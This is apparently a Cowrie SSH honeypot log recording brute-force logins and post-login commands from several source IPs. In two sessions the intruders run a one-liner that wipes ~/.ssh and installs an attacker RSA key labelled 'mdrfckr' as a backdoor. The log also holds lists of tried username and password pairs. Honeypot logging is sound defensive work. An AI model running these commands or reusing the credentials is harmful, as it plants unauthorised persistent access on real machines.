{"eventid":"cowrie.session.connect","src_ip":"49.49.239.64","src_port":28508,"dst_ip":"159.203.135.109","dst_port":22,"session":"20ab3879390e","protocol":"ssh","message":"New connection: 49.49.239.64:28508 (159.203.135.109:22) [session: 20ab3879390e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:20.540407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:20.545406Z","src_ip":"49.49.239.64","session":"20ab3879390e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:20.803922Z","src_ip":"49.49.239.64","session":"20ab3879390e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Abc.1234","message":"login attempt [root/Abc.1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:21.869745Z","src_ip":"49.49.239.64","session":"20ab3879390e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:22.435863Z","src_ip":"49.49.239.64","session":"20ab3879390e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:22.439857Z","src_ip":"49.49.239.64","session":"20ab3879390e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:22.444367Z","src_ip":"49.49.239.64","session":"20ab3879390e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:22.708965Z","src_ip":"49.49.239.64","session":"20ab3879390e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:23.269824Z","src_ip":"49.49.239.64","session":"20ab3879390e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:23.273993Z","src_ip":"49.49.239.64","session":"20ab3879390e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:23.541714Z","src_ip":"49.49.239.64","session":"20ab3879390e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:23.545881Z","src_ip":"49.49.239.64","session":"20ab3879390e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.49.239.64","src_port":38896,"dst_ip":"159.203.135.109","dst_port":22,"session":"c651777e337d","protocol":"ssh","message":"New connection: 49.49.239.64:38896 (159.203.135.109:22) [session: c651777e337d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:23.795990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:23.801120Z","src_ip":"49.49.239.64","session":"c651777e337d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:24.058836Z","src_ip":"49.49.239.64","session":"c651777e337d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":58896,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcc48becbe61","protocol":"ssh","message":"New connection: 68.183.236.1:58896 (159.203.135.109:22) [session: fcc48becbe61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:24.454254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:24.460465Z","src_ip":"68.183.236.1","session":"fcc48becbe61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:24.714526Z","src_ip":"68.183.236.1","session":"fcc48becbe61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:25.117753Z","src_ip":"49.49.239.64","session":"c651777e337d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"123456","message":"login attempt [erp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:25.761225Z","src_ip":"68.183.236.1","session":"fcc48becbe61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:26.377855Z","src_ip":"49.49.239.64","session":"c651777e337d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.49.239.64","src_port":38904,"dst_ip":"159.203.135.109","dst_port":22,"session":"37201fa36d3f","protocol":"ssh","message":"New connection: 49.49.239.64:38904 (159.203.135.109:22) [session: 37201fa36d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:26.633338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:26.638195Z","src_ip":"49.49.239.64","session":"37201fa36d3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:26.897102Z","src_ip":"49.49.239.64","session":"37201fa36d3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:27.020660Z","src_ip":"68.183.236.1","session":"fcc48becbe61","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:27.966285Z","src_ip":"49.49.239.64","session":"37201fa36d3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:28.229187Z","src_ip":"49.49.239.64","session":"37201fa36d3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:28.234148Z","src_ip":"49.49.239.64","session":"20ab3879390e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.248.247.188","src_port":44798,"dst_ip":"159.203.135.109","dst_port":22,"session":"9eb93f86123b","protocol":"ssh","message":"New connection: 136.248.247.188:44798 (159.203.135.109:22) [session: 9eb93f86123b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:41.858036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:41.862501Z","src_ip":"136.248.247.188","session":"9eb93f86123b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:41.983938Z","src_ip":"136.248.247.188","session":"9eb93f86123b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andrey","password":"1234","message":"login attempt [andrey/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:42.501778Z","src_ip":"136.248.247.188","session":"9eb93f86123b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:30:43.626018Z","src_ip":"136.248.247.188","session":"9eb93f86123b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":42576,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc3cfb818cfb","protocol":"ssh","message":"New connection: 138.99.80.102:42576 (159.203.135.109:22) [session: fc3cfb818cfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:39.038287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:39.043006Z","src_ip":"138.99.80.102","session":"fc3cfb818cfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:39.153006Z","src_ip":"138.99.80.102","session":"fc3cfb818cfb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"zxasqw12","message":"login attempt [root/zxasqw12] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:39.626442Z","src_ip":"138.99.80.102","session":"fc3cfb818cfb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:39.890775Z","src_ip":"138.99.80.102","session":"fc3cfb818cfb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:39.893994Z","src_ip":"138.99.80.102","session":"fc3cfb818cfb","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:39.897785Z","src_ip":"138.99.80.102","session":"fc3cfb818cfb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:40.011652Z","src_ip":"138.99.80.102","session":"fc3cfb818cfb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:40.270133Z","src_ip":"138.99.80.102","session":"fc3cfb818cfb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:40.273603Z","src_ip":"138.99.80.102","session":"fc3cfb818cfb","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:31:40.389209Z","src_ip":"138.99.80.102","session":"fc3cfb818cfb","protocol":"ssh"}
